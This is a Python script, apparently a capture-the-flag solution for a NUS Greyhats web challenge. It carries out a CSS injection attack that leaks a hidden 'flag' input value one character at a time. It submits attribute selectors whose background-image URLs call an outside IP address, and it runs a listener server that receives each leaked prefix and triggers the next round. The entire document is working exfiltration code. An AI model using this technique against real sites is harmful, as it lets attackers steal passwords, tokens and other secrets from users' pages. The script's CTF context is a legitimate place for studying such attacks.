import string
import requests
import re
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import unquote


chars = string.ascii_uppercase + string.digits + "f"
url = "http://challs2.nusgreyhats.org:33339"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


class LeakHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("Got GET request")
        leaked_password = unquote(self.path.split("/")[-1])
        print(f"Password: {leaked_password}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"exploiting in progress")
        print("Next round")
        leak_char(leaked_password)


def generate_css_input(leaked_password):
    css_input = ""

    for a in chars:
        css_input += f'input[id="flag"][value^="{leaked_password + a}"]{{background-image: url(http://49.12.225.44:8000/{leaked_password + a});}}'

    return css_input


def leak_char(leaked_password):
    css_input = generate_css_input(leaked_password)
    print("Leaking character")
    with requests.post(
        f"{url}/submit", data={"css_value": css_input}, headers=headers
    ) as r:
        match = re.search(r"/judge/([a-zA-Z0-9-]+)", r.text)
        if match:
            id_value = match.group(1)
            print("Found ID:", id_value)
            r = requests.post(f"http://challs2.nusgreyhats.org:33339/judge/{id_value}")
            print(r.text)
        else:
            print("error")


httpd = HTTPServer(("0.0.0.0", 8000), LeakHandler)
httpd.serve_forever()
